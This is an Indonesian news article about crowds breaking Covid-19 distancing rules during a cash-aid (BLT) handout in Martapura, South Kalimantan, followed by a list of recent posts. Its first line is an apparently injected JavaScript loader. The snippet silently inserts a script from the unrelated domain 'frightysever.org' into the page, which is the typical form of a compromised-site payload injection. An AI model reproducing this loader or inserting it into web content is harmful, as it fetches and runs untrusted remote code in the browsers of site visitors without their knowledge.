(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Berjubel Ambil BLT di Martapura, Petugas Kelurahan Terbatas Atur Warga


KANALKALIMANTAN.COM, MARTAPURA – Penyaluran Bantuan Langsung Tunai (BLT)  dana bantuan langsung tunai dari Pemerintah Kabupaten Banjar dan Pemerintah Provinsi Kalimantan Selatan senilai Rp 200 ribu, abai terhadap protokol kesehatan Covid-19.

Seperti yang terlihat pada Selasa (21/7/2020) pagi hingga siang di kantor Kelurahan Keraton, Kecamatan Martapura, warga penerima manfaat tak lagi mempedulikan jarak sehingga tampak saling berdekatan.

Untuk sekadar diketahui saja penyularan BLT disalurkan kepada warga Kelurahan Keraton diperuntukan bagi sekitar 2.000 jiwa lebih.

Kerumunan warga saat pengambilan BLT di Kelurahan Keraton, Martapura, Kabupaten Banjar, Selasa (21/7/2020). foto: wahyu

Pantuan Kanalkalimantan.com  di lokasi pembagian BLT, masih banyak warga yang mengabaikan menjaga jarak serta pememakaian masker,  terlihat warga bedesakan untuk antre menunggu giliran pengambilan BLT.

 

Astamaji Fauza, Lurah Keraton, mengatakan, untuk sementara warga yang tercover BLT sebelumnya sekitar 1.965, sekarang ini bertambah menjadi 2.000 lebih, dan itu pun masih ada lagi yang belum tercover.

 

“Pembagian BLT  kali ini  dadakan, harusnya jadwal kita itu hari Minggu, tadi kami ditelpon sama pihak kecamatan, acara dimulai pukul 11.00 – 15.00 Wita dan dilanjutkan besok,” kata Astamaji.

Pihaknya mengakui kesulitan mengatur warga untuk menerapkan standart protokol kesehatan Covid-19. “Seperti kita liat tadi masih banyak warga yang tidak menaati aturan protokol kesehatan, padahal kami sudah meminta sama RT untuk memberi tahu warganya menjaga jarak dan memakai masker,” aku Astamaji.

Kerumunan warga saat pengambilan BLT di Kelurahan Keraton, Martapura, Kabupaten Banjar, Selasa (21/7/2020). foto: wahyu

“Untuk warga yang tidak memakai masker langsung kita tegur, kita suruh pulang untuk mengambil masker, tapi masih ada beberapa  yang lolos karena kami juga terbatas orangnya,” kata Astamaji. (kanalkalimantan.com/wahyu)

Reporter : wahyu
Editor : bie

Al Ghifari

Recent Posts

Kabur saat Diperiksa di Kejari Banjar, Akhirnya Polisi Tangkap Kades P di Tanbu

KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More

21 jam ago

BPBD Banjarmasin Catat Dua Kebakaran dalam Sehari

KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More

21 jam ago

Jembatan Guntung Manggis – Trikora Sudah Dilintasi, Dishub Kalsel Masih Kaji Rekayasa Lalin

KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More

22 jam ago

Diprediksi 3 Juta Lebih Jemaah Ikuti Rutin Malam Senin 5 Rajab di Sekumpul

Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More

22 jam ago

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

2 hari ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

2 hari ago

This website uses cookies.